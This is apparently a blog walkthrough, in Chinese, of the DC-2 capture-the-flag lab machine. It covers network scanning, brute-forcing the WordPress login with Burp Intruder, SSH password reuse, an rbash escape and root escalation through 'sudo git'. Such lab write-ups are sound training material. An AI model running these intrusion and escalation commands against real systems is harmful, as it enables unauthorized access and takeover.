DC-2


author:leadlife

data:2023/5/12

blog:https://tripse.github.io/

demonstration:密码复用同时存在于本地登陆情况和外部登陆情况

本次测试使用到的工具如下:

  • 信息收集:nmap,fscan,cmseek,cewl,searchsploit,burpsuite
  • 获取 SHELL:ssh
  • 内部信息收集:无
  • 权限提升:无

外部信息收集

Nmap ICMP 扫描发现主机

其中 IP 10.10.10.129 为靶机 IP

1
sudo nmap -sP 10.10.10.0/24 -T4 --min-rate 10000
1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 15:12 CST
Nmap scan report for 10.10.10.129
Host is up (0.00018s latency).
MAC Address: 08:00:27:BC:F8:72 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.254
Host is up (0.000041s latency).
MAC Address: 00:50:56:E9:03:7F (VMware)
Nmap scan report for 10.10.10.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 0.34 seconds

Fsacn 探测开放端口

1
sudo fscan -h 10.10.10.129 -t 30 -p 0-65535

image-20230512151407399

Nmap 进行详细端口扫描

得到端口号后,使用 Nmap 进行详细端口扫描

1
sudo nmap -sS -sV -T4 --min-rate 10000 -oN nmap.all -O -sC 10.10.10.129 -p80,7744
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 15:15 CST
Nmap scan report for 10.10.10.129
Host is up (0.00034s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Did not follow redirect to http://dc-2/
|_http-server-header: Apache/2.4.10 (Debian)
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52517b6e70a4337ad24be10b5a0f9ed7 (DSA)
| 2048 5911d8af38518f41a744b32803809942 (RSA)
| 256 df181d7426cec14f6f2fc12654315191 (ECDSA)
|_ 256 d9385f997c0d647e1d46f6e97cc63717 (ED25519)
MAC Address: 08:00:27:BC:F8:72 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.41 seconds

Hosts 绑定访问 Web

访问 10.10.10.129 发现如下情况,操作 Hosts 文件绑定即可

image-20230512151610918

hosts 文件路径:/etc/hosts,内容编辑如下:

image-20230512151705988

操作后即可正常访问,发现 CMS 为 wordpress

image-20230512151902646

CMSeek 判断 CMS 版本&枚举 WP 用户

cmseek 会自动去枚举 wordpress cms 的用户,比 wpscan 用者简单

image-20230512152043830

searchsploit 搜寻 cms 版本漏洞

发现该版本并无直接 RCE 的漏洞:

image-20230512152140944

则考虑爆破 User 进入 wordpress 后台

暴力破解进入后台

直接用 burpsuite,懒得用 wpscan

收集可能密码

首先可以使用 cewl 爬取站点,收集可能密码

1
cewl http://dc-2/ >> passwd.txt

BurpSuite intruder 爆破

1:首先来到后台 http://dc-2/wp-login.php

image-20230512152736592

2:随意输入,使用 burpsuite 抓到该 POST 数据包

image-20230512152812069

3:发送到 intruder 模块

image-20230512152858562

4:消除自动选定变量,自定义变量使用 Clus ter Bomb 模式爆破

image-20230512153008011

5:选定账号密码开始爆破

image-20230512153116475

image-20230512153213154

爆破结果如下,发现了 tom 和 jerry 的 password

image-20230512153320289

后台获取 WebSHELL

失败

来到 Tom 账户,发现权限过小

image-20230512153558434

转向 jerry ,显然 jerry 账户的权限高很多,能够编辑 Post 和 Pages,但仍然无法操作获得 webshell

image-20230512154355316

密码复用尝试

利用密码服用,尝试能否通过 ssh 登陆目标账户:

  • Tom 可以登陆

image-20230512154555417

  • 再尝试 jerry

image-20230512154640695

jerry 并不存在密码复用情况

内部信息收集

绕过 rbash

发现我们输入命令有些奇怪的提示,得到为 rbash

1
2
3
4
5
export -p
BASH_CMDS[test]=/bin/sh;test
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

内核与发行版

发现命令索引有问题,这里直接来到 /bin/ 下调用

image-20230512161340064

SUID

无 SUID

image-20230512161506070

SUDO

无 SUDO

image-20230512161506070

尝试本地利用密码复用切换到 jerry

成功切换

image-20230512164425833

jerry sudo

发现 jerry sudo git 可用于提权

image-20230512164506988

权限提升

利用 git sudo 提权

1
2
sudo git branch --help config
!/bin/sh

image-20230512164633546